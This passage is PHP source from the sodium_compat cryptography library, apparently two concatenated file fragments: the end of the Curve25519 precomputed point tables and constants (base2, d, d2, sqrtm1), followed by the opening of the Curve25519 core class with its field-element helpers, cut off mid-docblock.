                array(-9433605, 6123113, 11159803, -2156608, 30016280,
14966241, -20474983, 1485421, -629256, -15958862),
                array(-26804558, 4260919, 11851389, 9658551, -32017107,
16367492, -20205425, -13191288, 11659922, -11115118),
                array(26180396, 10015009, -30844224, -8581293, 5418197,
9480663, 2231568, -10170080, 33100372, -1306171),
            ),
            array(
                array(15121113, -5201871, -10389905, 15427821, -27509937,
-15992507, 21670947, 4486675, -5931810, -14466380),
                array(16166486, -9483733, -11104130, 6023908, -31926798,
-1364923, 2340060, -16254968, -10735770, -10039824),
                array(28042865, -3557089, -12126526, 12259706, -3717498,
-6945899, 6766453, -8689599, 18036436, 5803270),
            ),
        ),
        array(
            array(
                array(-817581, 6763912, 11803561, 1585585, 10958447,
-2671165, 23855391, 4598332, -6159431, -14117438),
                array(-31031306, -14256194, 17332029, -2383520, 31312682,
-5967183, 696309, 50292, -20095739, 11763584),
                array(-594563, -2514283, -32234153, 12643980, 12650761,
14811489, 665117, -12613632, -19773211, -10713562),
            ),
            array(
                array(30464590, -11262872, -4127476, -12734478, 19835327,
-7105613, -24396175, 2075773, -17020157, 992471),
                array(18357185, -6994433, 7766382, 16342475, -29324918,
411174, 14578841, 8080033, -11574335, -10601610),
                array(19598397, 10334610, 12555054, 2555664, 18821899,
-10339780, 21873263, 16014234, 26224780, 16452269),
            ),
            array(
                array(-30223925, 5145196, 5944548, 16385966, 3976735,
2009897, -11377804, -7618186, -20533829, 3698650),
                array(14187449, 3448569, -10636236, -10810935, -22663880,
-3433596, 7268410, -10890444, 27394301, 12015369),
                array(19695761, 16087646, 28032085, 12999827, 6817792,
11427614, 20244189, -1312777, -13259127, -3402461),
            ),
            array(
                array(30860103, 12735208, -1888245, -4699734, -16974906,
2256940, -8166013, 12298312, -8550524, -10393462),
                array(-5719826, -11245325, -1910649, 15569035, 26642876,
-7587760, -5789354, -15118654, -4976164, 12651793),
                array(-2848395, 9953421, 11531313, -5282879, 26895123,
-12697089, -13118820, -16517902, 9768698, -2533218),
            ),
            array(
                array(-24719459, 1894651, -287698, -4704085, 15348719,
-8156530, 32767513, 12765450, 4940095, 10678226),
                array(18860224, 15980149, -18987240, -1562570, -26233012,
-11071856, -7843882, 13944024, -24372348, 16582019),
                array(-15504260, 4970268, -29893044, 4175593, -20993212,
-2199756, -11704054, 15444560, -11003761, 7989037),
            ),
            array(
                array(31490452, 5568061, -2412803, 2182383, -32336847,
4531686, -32078269, 6200206, -19686113, -14800171),
                array(-17308668, -15879940, -31522777, -2831, -32887382,
16375549, 8680158, -16371713, 28550068, -6857132),
                array(-28126887, -5688091, 16837845, -1820458, -6850681,
12700016, -30039981, 4364038, 1155602, 5988841),
            ),
            array(
                array(21890435, -13272907, -12624011, 12154349, -7831873,
15300496, 23148983, -4470481, 24618407, 8283181),
                array(-33136107, -10512751, 9975416, 6841041, -31559793,
16356536, 3070187, -7025928, 1466169, 10740210),
                array(-1509399, -15488185, -13503385, -10655916, 32799044,
909394, -13938903, -5779719, -32164649, -15327040),
            ),
            array(
                array(3960823, -14267803, -28026090, -15918051, -19404858,
13146868, 15567327, 951507, -3260321, -573935),
                array(24740841, 5052253, -30094131, 8961361, 25877428,
6165135, -24368180, 14397372, -7380369, -6144105),
                array(-28888365, 3510803, -28103278, -1158478, -11238128,
-10631454, -15441463, -14453128, -1625486, -6494814),
            ),
        ),
        array(
            array(
                array(793299, -9230478, 8836302, -6235707, -27360908,
-2369593, 33152843, -4885251, -9906200, -621852),
                array(5666233, 525582, 20782575, -8038419, -24538499,
14657740, 16099374, 1468826, -6171428, -15186581),
                array(-4859255, -3779343, -2917758, -6748019, 7778750,
11688288, -30404353, -9871238, -1558923, -9863646),
            ),
            array(
                array(10896332, -7719704, 824275, 472601, -19460308,
3009587, 25248958, 14783338, -30581476, -15757844),
                array(10566929, 12612572, -31944212, 11118703, -12633376,
12362879, 21752402, 8822496, 24003793, 14264025),
                array(27713862, -7355973, -11008240, 9227530, 27050101,
2504721, 23886875, -13117525, 13958495, -5732453),
            ),
            array(
                array(-23481610, 4867226, -27247128, 3900521, 29838369,
-8212291, -31889399, -10041781, 7340521, -15410068),
                array(4646514, -8011124, -22766023, -11532654, 23184553,
8566613, 31366726, -1381061, -15066784, -10375192),
                array(-17270517, 12723032, -16993061, 14878794, 21619651,
-6197576, 27584817, 3093888, -8843694, 3849921),
            ),
            array(
                array(-9064912, 2103172, 25561640, -15125738, -5239824,
9582958, 32477045, -9017955, 5002294, -15550259),
                array(-12057553, -11177906, 21115585, -13365155, 8808712,
-12030708, 16489530, 13378448, -25845716, 12741426),
                array(-5946367, 10645103, -30911586, 15390284, -3286982,
-7118677, 24306472, 15852464, 28834118, -7646072),
            ),
            array(
                array(-17335748, -9107057, -24531279, 9434953, -8472084,
-583362, -13090771, 455841, 20461858, 5491305),
                array(13669248, -16095482, -12481974, -10203039, -14569770,
-11893198, -24995986, 11293807, -28588204, -9421832),
                array(28497928, 6272777, -33022994, 14470570, 8906179,
-1225630, 18504674, -14165166, 29867745, -8795943),
            ),
            array(
                array(-16207023, 13517196, -27799630, -13697798, 24009064,
-6373891, -6367600, -13175392, 22853429, -4012011),
                array(24191378, 16712145, -13931797, 15217831, 14542237,
1646131, 18603514, -11037887, 12876623, -2112447),
                array(17902668, 4518229, -411702, -2829247, 26878217,
5258055, -12860753, 608397, 16031844, 3723494),
            ),
            array(
                array(-28632773, 12763728, -20446446, 7577504, 33001348,
-13017745, 17558842, -7872890, 23896954, -4314245),
                array(-20005381, -12011952, 31520464, 605201, 2543521,
5991821, -2945064, 7229064, -9919646, -8826859),
                array(28816045, 298879, -28165016, -15920938, 19000928,
-1665890, -12680833, -2949325, -18051778, -2082915),
            ),
            array(
                array(16000882, -344896, 3493092, -11447198, -29504595,
-13159789, 12577740, 16041268, -19715240, 7847707),
                array(10151868, 10572098, 27312476, 7922682, 14825339,
4723128, -32855931, -6519018, -10020567, 3852848),
                array(-11430470, 15697596, -21121557, -4420647, 5386314,
15063598, 16514493, -15932110, 29330899, -15076224),
            ),
        ),
        array(
            array(
                array(-25499735, -4378794, -15222908, -6901211, 16615731,
2051784, 3303702, 15490, -27548796, 12314391),
                array(15683520, -6003043, 18109120, -9980648, 15337968,
-5997823, -16717435, 15921866, 16103996, -3731215),
                array(-23169824, -10781249, 13588192, -1628807, -3798557,
-1074929, -19273607, 5402699, -29815713, -9841101),
            ),
            array(
                array(23190676, 2384583, -32714340, 3462154, -29903655,
-1529132, -11266856, 8911517, -25205859, 2739713),
                array(21374101, -3554250, -33524649, 9874411, 15377179,
11831242, -33529904, 6134907, 4931255, 11987849),
                array(-7732, -2978858, -16223486, 7277597, 105524, -322051,
-31480539, 13861388, -30076310, 10117930),
            ),
            array(
                array(-29501170, -10744872, -26163768, 13051539, -25625564,
5089643, -6325503, 6704079, 12890019, 15728940),
                array(-21972360, -11771379, -951059, -4418840, 14704840,
2695116, 903376, -10428139, 12885167, 8311031),
                array(-17516482, 5352194, 10384213, -13811658, 7506451,
13453191, 26423267, 4384730, 1888765, -5435404),
            ),
            array(
                array(-25817338, -3107312, -13494599, -3182506, 30896459,
-13921729, -32251644, -12707869, -19464434, -3340243),
                array(-23607977, -2665774, -526091, 4651136, 5765089,
4618330, 6092245, 14845197, 17151279, -9854116),
                array(-24830458, -12733720, -15165978, 10367250, -29530908,
-265356, 22825805, -7087279, -16866484, 16176525),
            ),
            array(
                array(-23583256, 6564961, 20063689, 3798228, -4740178,
7359225, 2006182, -10363426, -28746253, -10197509),
                array(-10626600, -4486402, -13320562, -5125317, 3432136,
-6393229, 23632037, -1940610, 32808310, 1099883),
                array(15030977, 5768825, -27451236, -2887299, -6427378,
-15361371, -15277896, -6809350, 2051441, -15225865),
            ),
            array(
                array(-3362323, -7239372, 7517890, 9824992, 23555850,
295369, 5148398, -14154188, -22686354, 16633660),
                array(4577086, -16752288, 13249841, -15304328, 19958763,
-14537274, 18559670, -10759549, 8402478, -9864273),
                array(-28406330, -1051581, -26790155, -907698, -17212414,
-11030789, 9453451, -14980072, 17983010, 9967138),
            ),
            array(
                array(-25762494, 6524722, 26585488, 9969270, 24709298,
1220360, -1677990, 7806337, 17507396, 3651560),
                array(-10420457, -4118111, 14584639, 15971087, -15768321,
8861010, 26556809, -5574557, -18553322, -11357135),
                array(2839101, 14284142, 4029895, 3472686, 14402957,
12689363, -26642121, 8459447, -5605463, -7621941),
            ),
            array(
                array(-4839289, -3535444, 9744961, 2871048, 25113978,
3187018, -25110813, -849066, 17258084, -7977739),
                array(18164541, -10595176, -17154882, -1542417, 19237078,
-9745295, 23357533, -15217008, 26908270, 12150756),
                array(-30264870, -7647865, 5112249, -7036672, -1499807,
-6974257, 43168, -5537701, -32302074, 16215819),
            ),
        ),
        array(
            array(
                array(-6898905, 9824394, -12304779, -4401089, -31397141,
-6276835, 32574489, 12532905, -7503072, -8675347),
                array(-27343522, -16515468, -27151524, -10722951, 946346,
16291093, 254968, 7168080, 21676107, -1943028),
                array(21260961, -8424752, -16831886, -11920822, -23677961,
3968121, -3651949, -6215466, -3556191, -7913075),
            ),
            array(
                array(16544754, 13250366, -16804428, 15546242, -4583003,
12757258, -2462308, -8680336, -18907032, -9662799),
                array(-2415239, -15577728, 18312303, 4964443, -15272530,
-12653564, 26820651, 16690659, 25459437, -4564609),
                array(-25144690, 11425020, 28423002, -11020557, -6144921,
-15826224, 9142795, -2391602, -6432418, -1644817),
            ),
            array(
                array(-23104652, 6253476, 16964147, -3768872, -25113972,
-12296437, -27457225, -16344658, 6335692, 7249989),
                array(-30333227, 13979675, 7503222, -12368314, -11956721,
-4621693, -30272269, 2682242, 25993170, -12478523),
                array(4364628, 5930691, 32304656, -10044554, -8054781,
15091131, 22857016, -10598955, 31820368, 15075278),
            ),
            array(
                array(31879134, -8918693, 17258761, 90626, -8041836,
-4917709, 24162788, -9650886, -17970238, 12833045),
                array(19073683, 14851414, -24403169, -11860168, 7625278,
11091125, -19619190, 2074449, -9413939, 14905377),
                array(24483667, -11935567, -2518866, -11547418, -1553130,
15355506, -25282080, 9253129, 27628530, -7555480),
            ),
            array(
                array(17597607, 8340603, 19355617, 552187, 26198470,
-3176583, 4593324, -9157582, -14110875, 15297016),
                array(510886, 14337390, -31785257, 16638632, 6328095,
2713355, -20217417, -11864220, 8683221, 2921426),
                array(18606791, 11874196, 27155355, -5281482, -24031742,
6265446, -25178240, -1278924, 4674690, 13890525),
            ),
            array(
                array(13609624, 13069022, -27372361, -13055908, 24360586,
9592974, 14977157, 9835105, 4389687, 288396),
                array(9922506, -519394, 13613107, 5883594, -18758345,
-434263, -12304062, 8317628, 23388070, 16052080),
                array(12720016, 11937594, -31970060, -5028689, 26900120,
8561328, -20155687, -11632979, -14754271, -10812892),
            ),
            array(
                array(15961858, 14150409, 26716931, -665832, -22794328,
13603569, 11829573, 7467844, -28822128, 929275),
                array(11038231, -11582396, -27310482, -7316562, -10498527,
-16307831, -23479533, -9371869, -21393143, 2465074),
                array(20017163, -4323226, 27915242, 1529148, 12396362,
15675764, 13817261, -9658066, 2463391, -4622140),
            ),
            array(
                array(-16358878, -12663911, -12065183, 4996454, -1256422,
1073572, 9583558, 12851107, 4003896, 12673717),
                array(-1731589, -15155870, -3262930, 16143082, 19294135,
13385325, 14741514, -9103726, 7903886, 2348101),
                array(24536016, -16515207, 12715592, -3862155, 1511293,
10047386, -3842346, -7129159, -28377538, 10048127),
            ),
        ),
        array(
            array(
                array(-12622226, -6204820, 30718825, 2591312, -10617028,
12192840, 18873298, -7297090, -32297756, 15221632),
                array(-26478122, -11103864, 11546244, -1852483, 9180880,
7656409, -21343950, 2095755, 29769758, 6593415),
                array(-31994208, -2907461, 4176912, 3264766, 12538965,
-868111, 26312345, -6118678, 30958054, 8292160),
            ),
            array(
                array(31429822, -13959116, 29173532, 15632448, 12174511,
-2760094, 32808831, 3977186, 26143136, -3148876),
                array(22648901, 1402143, -22799984, 13746059, 7936347,
365344, -8668633, -1674433, -3758243, -2304625),
                array(-15491917, 8012313, -2514730, -12702462, -23965846,
-10254029, -1612713, -1535569, -16664475, 8194478),
            ),
            array(
                array(27338066, -7507420, -7414224, 10140405, -19026427,
-6589889, 27277191, 8855376, 28572286, 3005164),
                array(26287124, 4821776, 25476601, -4145903, -3764513,
-15788984, -18008582, 1182479, -26094821, -13079595),
                array(-7171154, 3178080, 23970071, 6201893, -17195577,
-4489192, -21876275, -13982627, 32208683, -1198248),
            ),
            array(
                array(-16657702, 2817643, -10286362, 14811298, 6024667,
13349505, -27315504, -10497842, -27672585, -11539858),
                array(15941029, -9405932, -21367050, 8062055, 31876073,
-238629, -15278393, -1444429, 15397331, -4130193),
                array(8934485, -13485467, -23286397, -13423241, -32446090,
14047986, 31170398, -1441021, -27505566, 15087184),
            ),
            array(
                array(-18357243, -2156491, 24524913, -16677868, 15520427,
-6360776, -15502406, 11461896, 16788528, -5868942),
                array(-1947386, 16013773, 21750665, 3714552, -17401782,
-16055433, -3770287, -10323320, 31322514, -11615635),
                array(21426655, -5650218, -13648287, -5347537, -28812189,
-4920970, -18275391, -14621414, 13040862, -12112948),
            ),
            array(
                array(11293895, 12478086, -27136401, 15083750, -29307421,
14748872, 14555558, -13417103, 1613711, 4896935),
                array(-25894883, 15323294, -8489791, -8057900, 25967126,
-13425460, 2825960, -4897045, -23971776, -11267415),
                array(-15924766, -5229880, -17443532, 6410664, 3622847,
10243618, 20615400, 12405433, -23753030, -8436416),
            ),
            array(
                array(-7091295, 12556208, -20191352, 9025187, -17072479,
4333801, 4378436, 2432030, 23097949, -566018),
                array(4565804, -16025654, 20084412, -7842817, 1724999,
189254, 24767264, 10103221, -18512313, 2424778),
                array(366633, -11976806, 8173090, -6890119, 30788634,
5745705, -7168678, 1344109, -3642553, 12412659),
            ),
            array(
                array(-24001791, 7690286, 14929416, -168257, -32210835,
-13412986, 24162697, -15326504, -3141501, 11179385),
                array(18289522, -14724954, 8056945, 16430056, -21729724,
7842514, -6001441, -1486897, -18684645, -11443503),
                array(476239, 6601091, -6152790, -9723375, 17503545,
-4863900, 27672959, 13403813, 11052904, 5219329),
            ),
        ),
        array(
            array(
                array(20678546, -8375738, -32671898, 8849123, -5009758,
14574752, 31186971, -3973730, 9014762, -8579056),
                array(-13644050, -10350239, -15962508, 5075808, -1514661,
-11534600, -33102500, 9160280, 8473550, -3256838),
                array(24900749, 14435722, 17209120, -15292541, -22592275,
9878983, -7689309, -16335821, -24568481, 11788948),
            ),
            array(
                array(-3118155, -11395194, -13802089, 14797441, 9652448,
-6845904, -20037437, 10410733, -24568470, -1458691),
                array(-15659161, 16736706, -22467150, 10215878, -9097177,
7563911, 11871841, -12505194, -18513325, 8464118),
                array(-23400612, 8348507, -14585951, -861714, -3950205,
-6373419, 14325289, 8628612, 33313881, -8370517),
            ),
            array(
                array(-20186973, -4967935, 22367356, 5271547, -1097117,
-4788838, -24805667, -10236854, -8940735, -5818269),
                array(-6948785, -1795212, -32625683, -16021179, 32635414,
-7374245, 15989197, -12838188, 28358192, -4253904),
                array(-23561781, -2799059, -32351682, -1661963, -9147719,
10429267, -16637684, 4072016, -5351664, 5596589),
            ),
            array(
                array(-28236598, -3390048, 12312896, 6213178, 3117142,
16078565, 29266239, 2557221, 1768301, 15373193),
                array(-7243358, -3246960, -4593467, -7553353, -127927,
-912245, -1090902, -4504991, -24660491, 3442910),
                array(-30210571, 5124043, 14181784, 8197961, 18964734,
-11939093, 22597931, 7176455, -18585478, 13365930),
            ),
            array(
                array(-7877390, -1499958, 8324673, 4690079, 6261860,
890446, 24538107, -8570186, -9689599, -3031667),
                array(25008904, -10771599, -4305031, -9638010, 16265036,
15721635, 683793, -11823784, 15723479, -15163481),
                array(-9660625, 12374379, -27006999, -7026148, -7724114,
-12314514, 11879682, 5400171, 519526, -1235876),
            ),
            array(
                array(22258397, -16332233, -7869817, 14613016, -22520255,
-2950923, -20353881, 7315967, 16648397, 7605640),
                array(-8081308, -8464597, -8223311, 9719710, 19259459,
-15348212, 23994942, -5281555, -9468848, 4763278),
                array(-21699244, 9220969, -15730624, 1084137, -25476107,
-2852390, 31088447, -7764523, -11356529, 728112),
            ),
            array(
                array(26047220, -11751471, -6900323, -16521798, 24092068,
9158119, -4273545, -12555558, -29365436, -5498272),
                array(17510331, -322857, 5854289, 8403524, 17133918,
-3112612, -28111007, 12327945, 10750447, 10014012),
                array(-10312768, 3936952, 9156313, -8897683, 16498692,
-994647, -27481051, -666732, 3424691, 7540221),
            ),
            array(
                array(30322361, -6964110, 11361005, -4143317, 7433304,
4989748, -7071422, -16317219, -9244265, 15258046),
                array(13054562, -2779497, 19155474, 469045, -12482797,
4566042, 5631406, 2711395, 1062915, -5136345),
                array(-19240248, -11254599, -29509029, -7499965, -5835763,
13005411, -6066489, 12194497, 32960380, 1459310),
            ),
        ),
        array(
            array(
                array(19852034, 7027924, 23669353, 10020366, 8586503,
-6657907, 394197, -6101885, 18638003, -11174937),
                array(31395534, 15098109, 26581030, 8030562, -16527914,
-5007134, 9012486, -7584354, -6643087, -5442636),
                array(-9192165, -2347377, -1997099, 4529534, 25766844,
607986, -13222, 9677543, -32294889, -6456008),
            ),
            array(
                array(-2444496, -149937, 29348902, 8186665, 1873760,
12489863, -30934579, -7839692, -7852844, -8138429),
                array(-15236356, -15433509, 7766470, 746860, 26346930,
-10221762, -27333451, 10754588, -9431476, 5203576),
                array(31834314, 14135496, -770007, 5159118, 20917671,
-16768096, -7467973, -7337524, 31809243, 7347066),
            ),
            array(
                array(-9606723, -11874240, 20414459, 13033986, 13716524,
-11691881, 19797970, -12211255, 15192876, -2087490),
                array(-12663563, -2181719, 1168162, -3804809, 26747877,
-14138091, 10609330, 12694420, 33473243, -13382104),
                array(33184999, 11180355, 15832085, -11385430, -1633671,
225884, 15089336, -11023903, -6135662, 14480053),
            ),
            array(
                array(31308717, -5619998, 31030840, -1897099, 15674547,
-6582883, 5496208, 13685227, 27595050, 8737275),
                array(-20318852, -15150239, 10933843, -16178022, 8335352,
-7546022, -31008351, -12610604, 26498114, 66511),
                array(22644454, -8761729, -16671776, 4884562, -3105614,
-13559366, 30540766, -4286747, -13327787, -7515095),
            ),
            array(
                array(-28017847, 9834845, 18617207, -2681312, -3401956,
-13307506, 8205540, 13585437, -17127465, 15115439),
                array(23711543, -672915, 31206561, -8362711, 6164647,
-9709987, -33535882, -1426096, 8236921, 16492939),
                array(-23910559, -13515526, -26299483, -4503841, 25005590,
-7687270, 19574902, 10071562, 6708380, -6222424),
            ),
            array(
                array(2101391, -4930054, 19702731, 2367575, -15427167,
1047675, 5301017, 9328700, 29955601, -11678310),
                array(3096359, 9271816, -21620864, -15521844, -14847996,
-7592937, -25892142, -12635595, -9917575, 6216608),
                array(-32615849, 338663, -25195611, 2510422, -29213566,
-13820213, 24822830, -6146567, -26767480, 7525079),
            ),
            array(
                array(-23066649, -13985623, 16133487, -7896178, -3389565,
778788, -910336, -2782495, -19386633, 11994101),
                array(21691500, -13624626, -641331, -14367021, 3285881,
-3483596, -25064666, 9718258, -7477437, 13381418),
                array(18445390, -4202236, 14979846, 11622458, -1727110,
-3582980, 23111648, -6375247, 28535282, 15779576),
            ),
            array(
                array(30098053, 3089662, -9234387, 16662135, -21306940,
11308411, -14068454, 12021730, 9955285, -16303356),
                array(9734894, -14576830, -7473633, -9138735, 2060392,
11313496, -18426029, 9924399, 20194861, 13380996),
                array(-26378102, -7965207, -22167821, 15789297, -18055342,
-6168792, -1984914, 15707771, 26342023, 10146099),
            ),
        ),
        array(
            array(
                array(-26016874, -219943, 21339191, -41388, 19745256,
-2878700, -29637280, 2227040, 21612326, -545728),
                array(-13077387, 1184228, 23562814, -5970442, -20351244,
-6348714, 25764461, 12243797, -20856566, 11649658),
                array(-10031494, 11262626, 27384172, 2271902, 26947504,
-15997771, 39944, 6114064, 33514190, 2333242),
            ),
            array(
                array(-21433588, -12421821, 8119782, 7219913, -21830522,
-9016134, -6679750, -12670638, 24350578, -13450001),
                array(-4116307, -11271533, -23886186, 4843615, -30088339,
690623, -31536088, -10406836, 8317860, 12352766),
                array(18200138, -14475911, -33087759, -2696619, -23702521,
-9102511, -23552096, -2287550, 20712163, 6719373),
            ),
            array(
                array(26656208, 6075253, -7858556, 1886072, -28344043,
4262326, 11117530, -3763210, 26224235, -3297458),
                array(-17168938, -14854097, -3395676, -16369877, -19954045,
14050420, 21728352, 9493610, 18620611, -16428628),
                array(-13323321, 13325349, 11432106, 5964811, 18609221,
6062965, -5269471, -9725556, -30701573, -16479657),
            ),
            array(
                array(-23860538, -11233159, 26961357, 1640861, -32413112,
-16737940, 12248509, -5240639, 13735342, 1934062),
                array(25089769, 6742589, 17081145, -13406266, 21909293,
-16067981, -15136294, -3765346, -21277997, 5473616),
                array(31883677, -7961101, 1083432, -11572403, 22828471,
13290673, -7125085, 12469656, 29111212, -5451014),
            ),
            array(
                array(24244947, -15050407, -26262976, 2791540, -14997599,
16666678, 24367466, 6388839, -10295587, 452383),
                array(-25640782, -3417841, 5217916, 16224624, 19987036,
-4082269, -24236251, -5915248, 15766062, 8407814),
                array(-20406999, 13990231, 15495425, 16395525, 5377168,
15166495, -8917023, -4388953, -8067909, 2276718),
            ),
            array(
                array(30157918, 12924066, -17712050, 9245753, 19895028,
3368142, -23827587, 5096219, 22740376, -7303417),
                array(2041139, -14256350, 7783687, 13876377, -25946985,
-13352459, 24051124, 13742383, -15637599, 13295222),
                array(33338237, -8505733, 12532113, 7977527, 9106186,
-1715251, -17720195, -4612972, -4451357, -14669444),
            ),
            array(
                array(-20045281, 5454097, -14346548, 6447146, 28862071,
1883651, -2469266, -4141880, 7770569, 9620597),
                array(23208068, 7979712, 33071466, 8149229, 1758231,
-10834995, 30945528, -1694323, -33502340, -14767970),
                array(1439958, -16270480, -1079989, -793782, 4625402,
10647766, -5043801, 1220118, 30494170, -11440799),
            ),
            array(
                array(-5037580, -13028295, -2970559, -3061767, 15640974,
-6701666, -26739026, 926050, -1684339, -13333647),
                array(13908495, -3549272, 30919928, -6273825, -21521863,
7989039, 9021034, 9078865, 3353509, 4033511),
                array(-29663431, -15113610, 32259991, -344482, 24295849,
-12912123, 23161163, 8839127, 27485041, 7356032),
            ),
        ),
        array(
            array(
                array(9661027, 705443, 11980065, -5370154, -1628543,
14661173, -6346142, 2625015, 28431036, -16771834),
                array(-23839233, -8311415, -25945511, 7480958, -17681669,
-8354183, -22545972, 14150565, 15970762, 4099461),
                array(29262576, 16756590, 26350592, -8793563, 8529671,
-11208050, 13617293, -9937143, 11465739, 8317062),
            ),
            array(
                array(-25493081, -6962928, 32500200, -9419051, -23038724,
-2302222, 14898637, 3848455, 20969334, -5157516),
                array(-20384450, -14347713, -18336405, 13884722, -33039454,
2842114, -21610826, -3649888, 11177095, 14989547),
                array(-24496721, -11716016, 16959896, 2278463, 12066309,
10137771, 13515641, 2581286, -28487508, 9930240),
            ),
            array(
                array(-17751622, -2097826, 16544300, -13009300, -15914807,
-14949081, 18345767, -13403753, 16291481, -5314038),
                array(-33229194, 2553288, 32678213, 9875984, 8534129,
6889387, -9676774, 6957617, 4368891, 9788741),
                array(16660756, 7281060, -10830758, 12911820, 20108584,
-8101676, -21722536, -8613148, 16250552, -11111103),
            ),
            array(
                array(-19765507, 2390526, -16551031, 14161980, 1905286,
6414907, 4689584, 10604807, -30190403, 4782747),
                array(-1354539, 14736941, -7367442, -13292886, 7710542,
-14155590, -9981571, 4383045, 22546403, 437323),
                array(31665577, -12180464, -16186830, 1491339, -18368625,
3294682, 27343084, 2786261, -30633590, -14097016),
            ),
            array(
                array(-14467279, -683715, -33374107, 7448552, 19294360,
14334329, -19690631, 2355319, -19284671, -6114373),
                array(15121312, -15796162, 6377020, -6031361, -10798111,
-12957845, 18952177, 15496498, -29380133, 11754228),
                array(-2637277, -13483075, 8488727, -14303896, 12728761,
-1622493, 7141596, 11724556, 22761615, -10134141),
            ),
            array(
                array(16918416, 11729663, -18083579, 3022987, -31015732,
-13339659, -28741185, -12227393, 32851222, 11717399),
                array(11166634, 7338049, -6722523, 4531520, -29468672,
-7302055, 31474879, 3483633, -1193175, -4030831),
                array(-185635, 9921305, 31456609, -13536438, -12013818,
13348923, 33142652, 6546660, -19985279, -3948376),
            ),
            array(
                array(-32460596, 11266712, -11197107, -7899103, 31703694,
3855903, -8537131, -12833048, -30772034, -15486313),
                array(-18006477, 12709068, 3991746, -6479188, -21491523,
-10550425, -31135347, -16049879, 10928917, 3011958),
                array(-6957757, -15594337, 31696059, 334240, 29576716,
14796075, -30831056, -12805180, 18008031, 10258577),
            ),
            array(
                array(-22448644, 15655569, 7018479, -4410003, -30314266,
-1201591, -1853465, 1367120, 25127874, 6671743),
                array(29701166, -14373934, -10878120, 9279288, -17568,
13127210, 21382910, 11042292, 25838796, 4642684),
                array(-20430234, 14955537, -24126347, 8124619, -5369288,
-5990470, 30468147, -13900640, 18423289, 4177476),
            ),
        )
    );

    /**
     * See: libsodium's crypto_core/curve25519/ref10/base2.h
     *
     * @var array basically int[8][3]
     */
    protected static $base2 = array(
        array(
            array(25967493, -14356035, 29566456, 3660896, -12694345,
4014787, 27544626, -11754271, -6079156, 2047605),
            array(-12545711, 934262, -2722910, 3049990, -727428, 9406986,
12720692, 5043384, 19500929, -15469378),
            array(-8738181, 4489570, 9688441, -14785194, 10184609,
-12363380, 29287919, 11864899, -24514362, -4438546),
        ),
        array(
            array(15636291, -9688557, 24204773, -7912398, 616977,
-16685262, 27787600, -14772189, 28944400, -1550024),
            array(16568933, 4717097, -11556148, -1102322, 15682896,
-11807043, 16354577, -11775962, 7689662, 11199574),
            array(30464156, -5976125, -11779434, -15670865, 23220365,
15915852, 7512774, 10017326, -17749093, -9920357),
        ),
        array(
            array(10861363, 11473154, 27284546, 1981175, -30064349,
12577861, 32867885, 14515107, -15438304, 10819380),
            array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696,
-25653668, 12483688, -12668491, 5581306),
            array(19563160, 16186464, -29386857, 4097519, 10237984,
-4348115, 28542350, 13850243, -23678021, -15815942),
        ),
        array(
            array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873,
19480852, 5230134, -23952439, -15175766),
            array(-30269007, -3463509, 7665486, 10083793, 28475525,
1649722, 20654025, 16520125, 30598449, 7715701),
            array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316,
-31400660, 1370708, 29794553, -1409300),
        ),
        array(
            array(-22518993, -6692182, 14201702, -8745502, -23510406,
8844726, 18474211, -1361450, -13062696, 13821877),
            array(-6455177, -7839871, 3374702, -4740862, -27098617,
-10571707, 31655028, -7212327, 18853322, -14220951),
            array(4566830, -12963868, -28974889, -12240689, -7602672,
-2830569, -8514358, -10431137, 2207753, -3209784),
        ),
        array(
            array(-25154831, -4185821, 29681144, 7868801, -6854661,
-9423865, -12437364, -663000, -31111463, -16132436),
            array(25576264, -2703214, 7349804, -11814844, 16472782,
9300885, 3844789, 15725684, 171356, 6466918),
            array(23103977, 13316479, 9739013, -16149481, 817875,
-15038942, 8965339, -14088058, -30714912, 16193877),
        ),
        array(
            array(-33521811, 3180713, -2394130, 14003687, -16903474,
-16270840, 17238398, 4729455, -18074513, 9256800),
            array(-25182317, -4174131, 32336398, 5036987, -21236817,
11360617, 22616405, 9761698, -19827198, 630305),
            array(-13720693, 2639453, -24237460, -7406481, 9494427,
-5774029, -6554551, -15960994, -2449256, -14291300),
        ),
        array(
            array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023,
-18940575, 15033784, 25105118, -7894876),
            array(-24326370, 15950226, -31801215, -14592823, -11662737,
-5090925, 1573892, -2625887, 2198790, -15804619),
            array(-3099351, 10324967, -2241613, 7453183, -5446979,
-2735503, -13812022, -16236442, -32461234, -12290683),
        )
    );

    /**
     *
37095705934669439343138083508754565189542113879843219016388785533085940283555
     *
     * @var array<int, int>
     */
    protected static $d = array(
        -10913610,
        13857413,
        -15372611,
        6949391,
        114729,
        -8787816,
        -6275908,
        -3247719,
        -18696448,
        -12055116
    );

    /**
     * 2 * d =
16295367250680780974490674513165176452449235426866156013048779062215315747161
     *
     * @var array<int, int>
     */
    protected static $d2 = array(
        -21827239,
        -5839606,
        -30745221,
        13898782,
        229458,
        15978800,
        -12551817,
        -6495438,
        29715968,
        9444199
    );

    /**
     * sqrt(-1)
     *
     * @var array<int, int>
     */
    protected static $sqrtm1 = array(
        -32595792,
        -7943725,
        9377950,
        3500415,
        12389472,
        -272473,
        -25146209,
        -2005654,
        326686,
        11406482
    );
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519
 *
 * Implements Curve25519 core functions
 *
 * Based on the ref10 curve25519 code provided by libsodium
 *
 * @ref
https://github.com/jedisct1/libsodium/blob/master/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c
 */
abstract class ParagonIE_Sodium_Core_Curve25519 extends
ParagonIE_Sodium_Core_Curve25519_H
{
    /**
     * Get a field element of size 10 with a value of 0
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_0()
    {
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
        );
    }

    /**
     * Get a field element of size 10 with a value of 1
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_1()
    {
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(1, 0, 0, 0, 0, 0, 0, 0, 0, 0)
        );
    }

    /**
     * Add two field elements.
     *
     * @internal You should not use this directly from another application
     *
